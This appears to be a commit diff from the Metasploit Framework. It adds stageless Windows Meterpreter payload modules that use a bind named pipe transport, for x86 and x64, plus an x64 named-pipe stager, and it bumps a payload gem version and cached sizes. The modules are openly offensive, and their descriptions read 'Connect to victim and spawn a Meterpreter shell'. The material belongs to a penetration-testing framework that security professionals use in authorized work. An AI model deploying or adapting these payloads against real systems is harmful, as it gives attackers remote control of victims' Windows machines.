spec.add_runtime_dependency 'metasploit-payloads', '1.3.28'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.29'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,70 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_named_pipe'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 179779
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Meterpreter Shell, Bind Named Pipe Inline',
|
||||
'Description' => 'Connect to victim and spawn a Meterpreter shell',
|
||||
'Author' => [ 'UserExistsError' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindNamedPipe,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
||||
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
||||
])
|
||||
end
|
||||
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_named_pipe(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(','),
|
||||
ext_init: (datastore['EXTINIT'] || ''),
|
||||
stageless: true
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_named_pipe'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 206403
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Meterpreter Shell, Bind Named Pipe Inline (x64)',
|
||||
'Description' => 'Connect to victim and spawn a Meterpreter shell',
|
||||
'Author' => [ 'UserExistsError' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::BindNamedPipe,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
||||
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
||||
])
|
||||
end
|
||||
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_named_pipe(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(','),
|
||||
ext_init: (datastore['EXTINIT'] || ''),
|
||||
stageless: true
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 205891
|
||||
CachedSize = 206403
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 206937
|
||||
CachedSize = 207449
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 206937
|
||||
CachedSize = 207449
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 205891
|
||||
CachedSize = 206403
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 205891
|
||||
CachedSize = 206403
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -0,0 +1,29 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/bind_named_pipe'
|
||||
require 'msf/core/payload/windows/x64/bind_named_pipe'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 481
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::BindNamedPipe_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Bind Named Pipe Stager',
|
||||
'Description' => 'Listen for a pipe connection (Windows x64)',
|
||||
'Author' => [ 'UserExistsError' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::BindNamedPipe,
|
||||
'Convention' => 'sockrdi', # hPipe
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue